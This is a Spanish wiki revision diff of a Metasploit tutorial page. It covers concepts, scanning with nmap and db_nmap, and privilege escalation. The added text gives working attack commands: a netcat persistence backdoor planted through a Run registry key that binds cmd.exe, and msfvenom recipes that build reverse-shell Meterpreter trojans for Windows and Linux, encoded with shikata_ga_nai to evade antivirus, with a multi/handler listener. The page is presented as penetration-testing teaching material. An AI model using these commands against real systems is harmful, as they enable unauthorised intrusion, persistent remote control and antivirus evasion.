meta data de esta página
  •  

Diferencias

Muestra las diferencias entre dos versiones de la página.

Enlace a la vista de comparación

Ambos lados, revisión anteriorRevisión previa
Próxima revisión
Revisión previa
aplicaciones:metasploit [2019/03/15 09:40] lcaplicaciones:metasploit [2023/01/18 14:10] (actual) – editor externo 127.0.0.1
Línea 4: Línea 4:
  
 Una vez instalado,  o si hemos usando una distribución de seguridad como Kali Linux, lo primero que tenemos que hacer es arrancar los servicios necesarios para el correcto funcionamiento del Metasploit Framework.  Una vez instalado,  o si hemos usando una distribución de seguridad como Kali Linux, lo primero que tenemos que hacer es arrancar los servicios necesarios para el correcto funcionamiento del Metasploit Framework. 
 +
 +<note>Si queremos utilizar el entorno gráfico de Metasploit, debemos ejecutar Armitage </note>
  
 En especial debemos arrancar las bases de de datos (msdb y postgresql) En especial debemos arrancar las bases de de datos (msdb y postgresql)
Línea 11: Línea 13:
  
 con el comando **db_status** para comprobar que se ha conectado correctamente a las bases de datos con el comando **db_status** para comprobar que se ha conectado correctamente a las bases de datos
 +
 +==== Conceptos ====
 +=== Exploit ===
 +Un exploit es una vulnerabilidad.
 +
 +Para ver los exploits 
 +<sxh>show exploits </sxh>
 +=== Payload ===
 +Los payloads son cargas útiles de código las cuales ejecutan en la vulnerabilidad algun tipo de acción, ya sea la obtención de una Shell y tomar el control del sistema afectado o provocar un desbordamiento o saturación del sistema
 +
 +Para ver los payloads
 +<sxh>show payloads</sxh>
 +<note>Sin activar  las base de datos conectadas no veríamos ningun exploit o payload</note>
 +
 +Tipos de payloads:
 +  * Meterpreter es un payload avanzado y multifacético que opera mediante inyección dll. Reside completamente en la memoria del host remoto y no deja rastros en el disco duro, por lo que es muy difícil de detectar
 +  * PassiveX, es un payload que puede ayudar a eludir los firewalls de salida restrictivos. Lo hace mediante el uso de un control ActiveX para crear una instancia oculta de Internet Explorer. Usando el nuevo control ActiveX, se comunica con el atacante a través de solicitudes y respuestas HTTP.
 +  * IPV6  Diseñados para funcionar en redes que usen el protocolo IPv6.
 +
 +== Meterpreter ==
 +Es el payload propio de Metsploit.
 +  * execute, posibilidad de ejecutar archivos.
 +  * sysinfo, obtenemos información del sistema.
 +  * screenshot, captura de escritorio remoto.
 +  * hashdump, obtención de contraseñas en formato Hash.
 +=== Encoder ===
 +Los **encoder** cifran nuestros payloads o exploits.
 +
 +Para ver los encoders
 +<sxh>search encoder</sxh>
 +
 +Para ver el número total de cada uno
 + <sxh>banner</sxh>
 +
 +
 +===== Recopilar información =====
 +Metasploit tiene varios escaneres integrados, podemos ver los que tiene integrados ejecutando 
 +<sxh>seach portscan</sxh>
 +Por ejemplo podemos usar nmap para escanear un equipo 
 +<sxh>nmap -ss -Pn xxx.xxx.xxx.xxx</sxh> 
 +
 +también podemos usar **db_nmap** en especial si queremos manipular los resultados que nos muestre el nmap. 
 +<sxh>db_nmap -sS -Pn xxx.xxx.xxx.xxx</sxh> 
 +
 +=== Buscar máquinas vulnerables ===
 +Podemos usar metasploit para hacer un escaneo de máquinas vulnerables . Para ello ponemos la opción **--script vuln**  a nuestro db_nmap
 +<sxh>db_nmap -sS -Pn --script vuln xxx.xxx.xxx.xxx</sxh>
 +
 +También podemos hacer uso de otros escaner específicos, con el comando use y el escaner a utilizar
 +Por ejemplo <sxh>use auxiliary/gather/joomla_weblinks_sqli </sxh>
 +
 +<note> con options vemos que parámetros hay que establecer y cuales tiene configurado por defecto cada módulo</note>
 +
 +==== Escalada de privilegios ====
 +Necesitamos cargar el módulo priv <sxh>use priv</sxh>
 +para hacernos con privilegios del sistema <sxh>getsystem </sxh>
 +
 +==== Persistencia ====
 +Una vez obtenido el control, tenemos que realizar acciones que nos permitan mantener dicho control en el tiempo.
 +
 +Un ejemplo para mantener el control en una máquina windows sería:
 +  - a la máquina víctima le subimos una copia del netcat <sxh>upload nc.exe c:\windows\system32</sxh>
 +  - le creamos una clave en el registro para que arranque netcat automáticamente  <sxh>reg setval -k HKLM\\software\\microsoft\\windows\currentversion\\run -v nc -d 'c:\windows\system32\nc.exe -Ldp445 -e cmd.exe</sxh>
 +
 +
 +
 +
 +
  
 ====  Cargar módulos manualmente en Metasploit ==== ====  Cargar módulos manualmente en Metasploit ====
Línea 35: Línea 105:
 y nos indicará si el host indicado es vulnerable  y nos indicará si el host indicado es vulnerable 
  
 +==== MSFvenom ====
 +Metasploit tienen una herramienta para generar payload **MSFvenom** . con la cual podremos generar nuestro Payload, específicamente para nuestro objetivo, además de que podremos exportar a un ejecutable y cifrarlo con cualquiera de los encoders, de forma que se pueda ejecutar en el destino sin necesidad del Metasploit
 +Por ejemplo 
 +
 +<sxh>msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=puerto -f exe > shell.exe </sxh>
 +
 +Si queremos cifrarlo con un encoder para evitar por ejemplo un antivirus
 +<sxh>msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=puerto -f exe -e x86/shikata_ga_nai > shell.exe</sxh>
 +
 +si ponemos como opción la **i** y el numero de veces que queremos que lo cifre
 +<sxh>msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=puerto -f exe -e -i 2 x86/shikata_ga_nai > shell.exe</sxh>
 +
 +Por ejemplo para crear un troyano para linux 
 +<sxh>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=puerto -e x86/shikata_ga_nai -f elf > shell.elf</sxh>
 +Para recibir la shell inversa desde el objetivo deberíamos ejecutar en el equipo receptor de la conexión el exploit multi handler 
 +<sxh>use exploit/multi/handler</sxh> y con option poner las mismas configuraciones que usamos para el troyano
 +<sxh>set lhost xxx.xxx.xxx.xxx
 +set lport puerto</sxh>